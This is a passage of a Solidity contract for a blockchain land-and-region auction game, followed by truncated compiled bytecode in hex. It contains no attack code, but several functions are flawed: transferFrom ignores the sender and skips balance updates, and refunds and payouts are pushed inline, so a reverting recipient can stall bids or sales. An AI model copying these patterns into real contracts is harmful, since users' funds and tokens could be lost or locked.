canMakeBid(regionId) {
uint256 minimal_bid;
if (region_bids[regionId].currentBuyer != address(0)) {//If have bid already
minimal_bid = region_bids[regionId].bid + MINIMAL_RAISE;
} else {
minimal_bid = regions[regionId].startPrice;
}
if (minimal_bid > msg.value) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
RegionBid storage bid = region_bids[regionId];
if (bid.currentBuyer != address(0)) {
//Return funds to old buyer
bid.currentBuyer.transfer(bid.bid);
} else {
emit AuctionStarts(regionId);
}
// Auction will be active for 7 days if no one make a new bid
bid.activeTill = now + AUCTION_DURATION;
bid.currentBuyer = msg.sender;
bid.bid = msg.value;
emit RegionNewBid(regionId, msg.sender, msg.value, region_bids[regionId].activeTill);
}
function completeRegionAuction(uint16 regionId) public onlyMapMaster {
if (region_bids[regionId].currentBuyer == address(0)) {
return;
}
if (region_bids[regionId].activeTill > now || region_bids[regionId].activeTill == 0) {
return;
}
transferRegion(regionId, region_bids[regionId].currentBuyer);
}
function takeRegion(uint16 regionId) public {
require(regions[regionId].owner == address(0));
require(region_bids[regionId].currentBuyer == msg.sender);
require(region_bids[regionId].activeTill < now);
transferRegion(regionId, region_bids[regionId].currentBuyer);
}
function transferRegion(uint16 regionId, address newOwner) internal {
regions[regionId].owner = newOwner;
regions[regionId].onSale = false;
emit RegionSold(regionId, regions[regionId].owner);
}
// returns next minimal bid or final bid on auctions that already end
function getRegionPrice(uint16 regionId) public view returns (uint256 next_bid) {
if(regions[regionId].owner != address(0)) {
return region_bids[regionId].bid;
}
if (region_bids[regionId].currentBuyer != address(0)) {//If have bid already
next_bid = region_bids[regionId].bid + MINIMAL_RAISE;
} else {
next_bid = regions[regionId].startPrice;
}
}
function _activateZoneLand(int32 x, int32 y, uint8 region, uint8 resources) internal {
tokens.length++;
MapLand storage tmp = tokens[tokens.length - 1];
tmp.region = region;
tmp.resources = resources;
tmp.buyPrice = 0;
zone[x][y] = tokens.length - 1;
zone_reverse[tokens.length - 1] = Coordinates(x, y);
emit ActivateMap(x, y, tokens.length - 1);
}
function activateZone(int32[] x, int32[] y, uint8[] region, uint8[] resources) public onlyMapMaster {
for (uint index = 0; index < x.length; index++) {
_activateZoneLand(x[index], y[index], region[index], resources[index]);
}
}
function buyLand(int32 x, int32 y) payable public onlyOnActiveSale {
MapLand storage token = tokens[zone[x][y]];
if (zone[x][y] == 0 || token.buyPrice > 0 || token.owner != address(0)
|| !regions[token.region].allowSaleLands) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
uint256 buyPrice = getLandPrice(x, y);
if (buyPrice == 0) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
uint256[49] memory payouts;
address[49] memory addresses;
uint8 tokenBought;
if (buyPrice > msg.value) {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
} else if (buyPrice < msg.value) {
msg.sender.transfer(msg.value - buyPrice);
}
(payouts, addresses, tokenBought) = getPayouts(x, y);
token.owner = msg.sender;
token.buyPrice = buyPrice;
balances[msg.sender]++;
doPayouts(payouts, addresses, buyPrice);
uint256 tax = getRegionTax(token.region);
if (regions[token.region].owner != address(0) && tax > 100) {
uint256 taxValue = ((basePrice * (tax - 100) + ((tokenBought ** 2) * minMargin * (tax - 100))) / 100);
regions[token.region].owner.transfer(taxValue);
emit RegionPayout(regions[token.region].owner, taxValue);
}
emit Transfer(address(0), msg.sender, zone[x][y]);
}
function doPayouts(uint256[49] payouts, address[49] addresses, uint256 fullValue) internal returns (uint256){
for (uint8 i = 0; i < addresses.length; i++) {
if (addresses[i] == address(0)) {
continue;
}
addresses[i].transfer(payouts[i]);
emit Payout(addresses[i], payouts[i]);
fullValue -= payouts[i];
}
return fullValue;
}
function getPayouts(int32 x, int32 y) public view returns (uint256[49] payouts, address[49] addresses, uint8 tokenBought) {
for (int32 xi = x - 3; xi <= x + 3; xi++) {
for (int32 yi = y - 3; yi <= y + 3; yi++) {
if (x == xi && y == yi) {
continue;
}
MapLand memory token = tokens[zone[xi][yi]];
if (token.buyPrice > 0) {
payouts[tokenBought] = (token.buyPrice / divider);
addresses[tokenBought] = (token.owner);
tokenBought++;
}
}
}
return (payouts, addresses, tokenBought);
}
function getLandPrice(int32 x, int32 y) public view returns (uint256 price){
if (zone[x][y] == 0) {
return;
}
MapLand memory token = tokens[zone[x][y]];
int256[2] memory start;
start[0] = x - 3;
start[1] = y - 3;
uint256[2] memory counters = [uint256(0), 0];
for (int32 xi = x - 3; xi <= x + 3; xi++) {
for (int32 yi = y - 3; yi <= y + 3; yi++) {
if (x == xi && y == yi) {
continue;
}
if (tokens[zone[xi][yi]].buyPrice > 0) {
counters[1] += tokens[zone[xi][yi]].buyPrice;
counters[0]++;
}
}
}
uint16 regionId = token.region;
uint8 taxValue = getRegionTax(regionId);
if (counters[0] == 0) {
price = ((basePrice * taxValue) / 100);
} else {
price = ((basePrice * taxValue) / 100) + (uint(counters[1]) / divider) + (((counters[0] ** 2) * minMargin * taxValue) / 100);
}
}
function getRegionTax(uint16 regionId) internal view returns (uint8) {
if (regions[regionId].owner != address(0)) {
return (100 + regions[regionId].tax);
}
return (100 + defaultRegionTax);
}
function approve(address _to, uint256 _tokenId) public isTokenOwner(_tokenId) isNotNullAddress(_to) {
approved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function setRegionOwner(uint16 regionId, address owner, uint256 viewPrice) public onlyOwner {
require(regions[regionId].owner == address(0) && !regions[regionId].onSale);
regions[regionId].owner = owner;
RegionBid storage bid = region_bids[regionId];
bid.activeTill = now;
bid.currentBuyer = owner;
bid.bid = viewPrice;
emit RegionSold(regionId, owner);
}
function transfer(address _to, uint256 _tokenId) public isTokenOwner(_tokenId) isNotNullAddress(_to) isApproved(_tokenId, _to) {
tokens[_tokenId].owner = _to;
balances[msg.sender]--;
balances[_to]++;
emit Transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public isTokenOwner(_tokenId) isApproved(_tokenId, _to) {
tokens[_tokenId].owner = _to;
emit Transfer(_from, _to, _tokenId);
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
owner = tokens[_tokenId].owner;
}
function totalSupply() public view returns (uint256) {
return tokens.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
balance = balances[_owner];
}
function setSaleEnd() public onlyOwner {
SaleActive = false;
emit EndSale(true);
}
function isActive() public view returns (bool) {
return SaleActive;
}
// Events
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
event RegionAllowSaleLands(uint16 regionId);
event ActivateMap(int256 x, int256 y, uint256 tokenId);
event AddRegion(uint16 indexed regionId);
event UpdateRegionPrice(uint16 indexed regionId, uint256 price);
event ChangeRegionName(uint16 indexed regionId, string regionName);
event TaxUpdate(uint16 indexed regionId, uint8 tax);
event RegionOnSale(uint16 indexed regionId);
event RegionNewBid(uint16 indexed regionId, address buyer, uint256 value, uint256 activeTill);
event AuctionStarts(uint16 indexed regionId);
event RegionSold(uint16 indexed regionId, address owner);
event Payout(address indexed to, uint256 value);
event RegionPayout(address indexed to, uint256 value);
event EndSale(bool isEnded);
}
|
0x60806040526004361061023b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b3146102405780631051db341461028d57806318160ddd146102bc5780631c31f710146102e757806322f3e2d41461032a57806323b872dd1461035957806327e235e3146103c65780632cc273411461041d5780632ce2d7c01461044a578063301f2dac1461047b578063301fdb54146104c0578063378efa371461057557806338af3eed146105ac57806338e998a71461060357806339c294be146106335780634f64b2be1461065e57806351c03b85146106ee57806360bd409e146107125780636352211e146107435780636b55264d146107b05780636eebb73f1461082757806370a0823114610956578063792a152d146109ad5780637d4061e614610a2e578063835fc6ca14610a9b5780638d3f1e4414610ac85780638da5cb5b14610b19578063969bece314610b705780639a877fb314610ba15780639fe0b36714610cb3578063a9059cbb14610d32578063ab07f05414610d7f578063b43d9ede14610dd0578063b5dcbb6914610e13578063b68e855214610e44578063c7876ea414610e9f578063cd9a27ba14610eca578063d5a506d014610efb578063de4b326214610f44578063e850efaf14610f71578063eb0bfa3814610faf578063f1d2165f14610fea578063f2fde38b14611019578063f44b79b31461105c578063f4d176e114611073578063f835a686146110ca578063fa5d174d146110e1575b600080fd5b34801561024c57600080fd5b5061028b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611135565b005b34801561029957600080fd5b506102a26112fc565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1611301565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b50610328600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130e565b005b34801561033657600080fd5b5061033f6113ad565b604051808215151515815260200191505060405180910390f35b34801561036557600080fd5b506103c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c4565b005b3480156103d257600080fd5b50610407600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115cc565b6040518082815260200191505060405180910390f35b34801561042957600080fd5b50610448600480360381019080803590602001909291905050506115e4565b005b34801561045657600080fd5b50610479600480360381019080803561ffff169060200190929190505050611649565b005b34801561048757600080fd5b506104aa600480360381019080803561ffff1690602001909291905050506117bd565b6040518082815260200191505060405180910390f35b3480156104cc57600080fd5b506104fb600480360381019080803560030b9060200190929190803560030b9060200190929190505050611924565b6040518084603160200280838360005b8381101561052657808201518184015260208101905061050b565b5050505090500183603160200280838360005b83811015610554578082015181840152602081019050610539565b505050509050018260ff1660ff168152602001935050505060405180910390f35b34801561058157600080fd5b5061058a611b62565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156105b857600080fd5b506105c1611b78565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610631600480360381019080803560030b9060200190929190803560030b9060200190929190505050611b9e565b005b34801561063f57600080fd5b506106486121e8565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610689600480360381019080803590602001909291905050506121ee565b604051808560ff1660ff1681526020018461ffff1661ffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b610710600480360381019080803561ffff169060200190929190505050612268565b005b34801561071e57600080fd5b50610741600480360381019080803561ffff169060200190929190505050612711565b005b34801561074f57600080fd5b5061076e600480360381019080803590602001909291905050506127e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107bc57600080fd5b50610825600480360381019080803561ffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612830565b005b34801561083357600080fd5b5061095460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612963565b005b34801561096257600080fd5b50610997600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a4b565b6040518082815260200191505060405180910390f35b3480156109b957600080fd5b50610a2c600480360381019080803561ffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612a94565b005b348015610a3a57600080fd5b50610a5960048036038101908080359060200190929190505050612c47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aa757600080fd5b50610ac660048036038101908080359060200190929190505050612c7a565b005b348015610ad457600080fd5b50610b03600480360381019080803560030b9060200190929190803560030b9060200190929190505050612d65565b6040518082815260200191505060405180910390f35b348015610b2557600080fd5b50610b2e612d8a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b7c57600080fd5b50610b9f600480360381019080803561ffff169060200190929190505050612daf565b005b348015610bad57600080fd5b50610bd0600480360381019080803561ffff169060200190929190505050612e76565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018760ff1660ff16815260200186815260200180602001851515151581526020018415151515815260200183151515158152602001828103825286818151815260200191508051906020019080838360005b83811015610c72578082015181840152602081019050610c57565b50505050905090810190601f168015610c9f5780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b348015610cbf57600080fd5b50610ce2600480360381019080803561ffff169060200190929190505050612fa4565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b348015610d3e57600080fd5b50610d7d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fee565b005b348015610d8b57600080fd5b50610dba600480360381019080803560030b9060200190929190803560030b90602001909291905050506132d2565b6040518082815260200191505060405180910390f35b348015610ddc57600080fd5b50610e11600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506136ab565b005b348015610e1f57600080fd5b50610e42600480360381019080803561ffff16906020019092919050505061374a565b005b348015610e5057600080fd5b50610e9d600480360381019080803561ffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506138b2565b005b348015610eab57600080fd5b50610eb4613afa565b6040518082815260200191505060405180910390f35b348015610ed657600080fd5b50610edf613b00565b604051808260ff1660ff16815260200191505060405180910390f35b348015610f0757600080fd5b50610f2a600480360381019080803561ffff169060200190929190505050613b13565b604051808215151515815260200191505060405180910390f35b348015610f5057600080fd5b50610f6f60048036038101908080359060200190929190505050613b48565b005b348015610f7d57600080fd5b50610fad600480360381019080803561ffff169060200190929190803560ff169060200190929190505050613bad565b005b348015610fbb57600080fd5b50610fe8600480360381019080803561ffff16906020019092919080359060200190929190505050613d5f565b005b348015610ff657600080fd5b50610fff613ec6565b604051808215151515815260200191505060405180910390f35b34801561102557600080fd5b5061105a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ed9565b005b34801561106857600080fd5b5061107161402e565b005b34801561107f57600080fd5b5061108861410b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156110d657600080fd5b506110df614131565b005b3480156110ed57600080fd5b5061110c600480360381019080803590602001909291905050506141e5565b604051808360030b60030b81526020018260030b60030b81526020019250505060405180910390f35b803373ffffffffffffffffffffffffffffffffffffffff16600c8281548110151561115c57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156112015760003411156111fc573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156111fa573d6000803e3d6000fd5b505b6112f7565b828073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff161415151561123e57600080fd5b836003600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3505b505050565b600181565b6000600c80549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600860009054906101000a900460ff16905090565b803373ffffffffffffffffffffffffffffffffffffffff16600c828154811015156113eb57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561149057600034111561148b573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611489573d6000803e3d6000fd5b505b6115c6565b81838073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114ff57600080fd5b84600c8581548110151561150f57fe5b906000526020600020906003020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a350505b50505050565b60026020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163f57600080fd5b80600a8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156116a557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760008361ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561171d576117ba565b42600760008361ffff1661ffff16815260200190815260200160002060020154118061176757506000600760008361ffff1661ffff16815260200190815260200160002060020154145b15611771576117ba565b6117b981600760008461ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614223565b5b50565b60008073ffffffffffffffffffffffffffffffffffffffff16600660008461ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561185857600760008361ffff1661ffff16815260200190815260200160002060010154905061191f565b600073ffffffffffffffffffffffffffffffffffffffff16600760008461ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156118fc576706f05b59d3b20000600760008461ffff1661ffff1681526020019081526020016000206001015401905061191e565b600660008361ffff1661ffff1681526020019081526020016000206001015490505b5b919050565b61192c614753565b611934614777565b600080600061194161479b565b6003880392505b6003880160030b8360030b131515611b4f576003870391505b6003870160030b8260030b131515611b42578260030b8860030b14801561198d57508160030b8760030b145b1561199757611b35565b600c600460008560030b60030b815260200190815260200160002060008460030b60030b8152602001908152602001600020548154811015156119d657fe5b9060005260206000209060030201608060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900461ffff1661ffff1661ffff168152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050600081604001511115611b3457600b60009054906101000a900463ffffffff1663ffffffff168160400151811515611ac357fe5b04868560ff16603181101515611ad557fe5b6020020181815250508060600151858560ff16603181101515611af457fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083806001019450505b5b8180600101925050611961565b8280600101935050611948565b8585859550955095505050509250925092565b600b60009054906101000a900463ffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080611ba9614753565b611bb1614777565b6000806000600860009054906101000a900460ff161515611bd157600080fd5b600c600460008b60030b60030b815260200190815260200160002060008a60030b60030b815260200190815260200160002054815481101515611c1057fe5b906000526020600020906003020196506000600460008b60030b60030b815260200190815260200160002060008a60030b60030b8152602001908152602001600020541480611c63575060008760010154115b80611cbf5750600073ffffffffffffffffffffffffffffffffffffffff168760020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80611d055750600660008860000160019054906101000a900461ffff1661ffff1661ffff16815260200190815260200160002060030160019054906101000a900460ff16155b15611d60576000341115611d5b573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611d59573d6000803e3d6000fd5b505b6121dd565b611d6a89896132d2565b95506000861415611dcb576000341115611dc6573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611dc4573d6000803e3d6000fd5b505b6121dd565b34861115611e29576000341115611e24573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611e22573d6000803e3d6000fd5b505b6121dd565b34861015611e7b573373ffffffffffffffffffffffffffffffffffffffff166108fc8734039081150290604051600060405180830381858888f19350505050158015611e79573d6000803e3d6000fd5b505b611e858989611924565b809550819650829750505050338760020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550858760010181905550600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550611f37858588614361565b50611f538760000160019054906101000a900461ffff166144e0565b60ff169150600073ffffffffffffffffffffffffffffffffffffffff16600660008960000160019054906101000a900461ffff1661ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611fe55750606482115b15612146576064808303600a546002860a60ff16020260648403600954020181151561200d57fe5b049050600660008860000160019054906101000a900461ffff1661ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120a6573d6000803e3d6000fd5b50600660008860000160019054906101000a900461ffff1661ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7e20eee8794e3a490330b424b5875ba62ffefb32b4ae48090cb82edfc2d2ec89826040518082815260200191505060405180910390a25b3373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460008d60030b60030b815260200190815260200160002060008c60030b60030b8152602001908152602001600020546040518082815260200191505060405180910390a35b505050505050505050565b600a5481565b600c818154811015156121fd57fe5b90600052602060002090600302016000915090508060000160009054906101000a900460ff16908060000160019054906101000a900461ffff16908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905084565b600080600860009054906101000a900460ff16151561228657600080fd5b826000600760008361ffff1661ffff16815260200190815260200160002060020154141580156122d3575042600760008361ffff1661ffff16815260200190815260200160002060020154105b806123495750600073ffffffffffffffffffffffffffffffffffffffff16600660008361ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8061237d5750600660008261ffff1661ffff16815260200190815260200160002060030160009054906101000a900460ff16155b156123d85760003411156123d3573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156123d1573d6000803e3d6000fd5b505b61270b565b600073ffffffffffffffffffffffffffffffffffffffff16600760008661ffff1661ffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561247c576706f05b59d3b20000600760008661ffff1661ffff1681526020019081526020016000206001015401925061249e565b600660008561ffff1661ffff1681526020019081526020016000206001015492505b348311156124fc5760003411156124f7573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156124f5573d6000803e3d6000fd5b505b61270a565b600760008561ffff1661ffff1681526020019081526020016000209150600073ffffffffffffffffffffffffffffffffffffffff168260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156125e7578160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc83600101549081150290604051600060405180830381858888f193505050501580156125e1573d6000803e3d6000fd5b50612619565b8361ffff167ff6e8b71db70830e39e2c98f38b929b65c3521e6479cc5fa19b21567574f2b7a460405160405180910390a25b62093a8042018260020181905550338260000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503482600101819055508361ffff167f29a276aafcd155473a77c82e5c2a4ccc84d83bac0fcd454d1e9ca6dacecf0c1f3334600760008961ffff1661ffff16815260200190815260200160002060020154604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a25b5b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561276d57600080fd5b6001600660008361ffff1661ffff16815260200190815260200160002060030160016101000a81548160ff0219169083151502179055507fb51fb8bbfa3da24418034519117a50979b837f70e121296bc026ee665ce79b2381604051808261ffff1661ffff16815260200191505060405180910390a150565b6000600c828154811015156127f757fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561288b57600080fd5b80600660008461ffff1661ffff16815260200190815260200160002060020190805190602001906128bd9291906147e1565b508161ffff167fb06f576e825ec000eb0407092b3150b13f3c68cc964d0a5a8405c0b715e714ac826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561292557808201518184015260208101905061290a565b50505050905090810190601f1680156129525780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b60003373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156129c157600080fd5b600090505b8451811015612a4457612a3785828151811015156129e057fe5b9060200190602002015185838151811015156129f857fe5b906020019060200201518584815181101515612a1057fe5b906020019060200201518585815181101515612a2857fe5b906020019060200201516145a6565b80806001019150506129c6565b5050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612af257600080fd5b600860009054906101000a900460ff161515612b0d57600080fd5b600660008561ffff1661ffff16815260200190815260200160002060030160029054906101000a900460ff1615612b4357612c41565b600660008561ffff1661ffff1681526020019081526020016000209050828160010181905550600b60049054906101000a900460ff168160000160146101000a81548160ff021916908360ff16021790555060008160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081816002019080519060200190612bf19291906147e1565b5060018160030160026101000a81548160ff0219169083151502179055508361ffff167f399f06325e5cc0f4ee1fb06491dbac3bb10e0b26fe872a831673a1b84e326c3560405160405180910390a25b50505050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cd557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631811115612cf957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612d61573d6000803e3d6000fd5b5050565b6004602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612e0b57600080fd5b6001600660008361ffff1661ffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055508061ffff167f1f4df03e985a1c2625c2bb5c99d6baabdcf19970943fc02c21110cf810fe48ed60405160405180910390a250565b60066020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900460ff1690806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f615780601f10612f3657610100808354040283529160200191612f61565b820191906000526020600020905b815481529060010190602001808311612f4457829003601f168201915b5050505050908060030160009054906101000a900460ff16908060030160019054906101000a900460ff16908060030160029054906101000a900460ff16905087565b60076020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b803373ffffffffffffffffffffffffffffffffffffffff16600c8281548110151561301557fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156130ba5760003411156130b5573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156130b3573d6000803e3d6000fd5b505b6132cd565b828073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16141515156130f757600080fd5b82848073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561316657600080fd5b85600c8681548110151561317657fe5b906000526020600020906003020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260003373ffff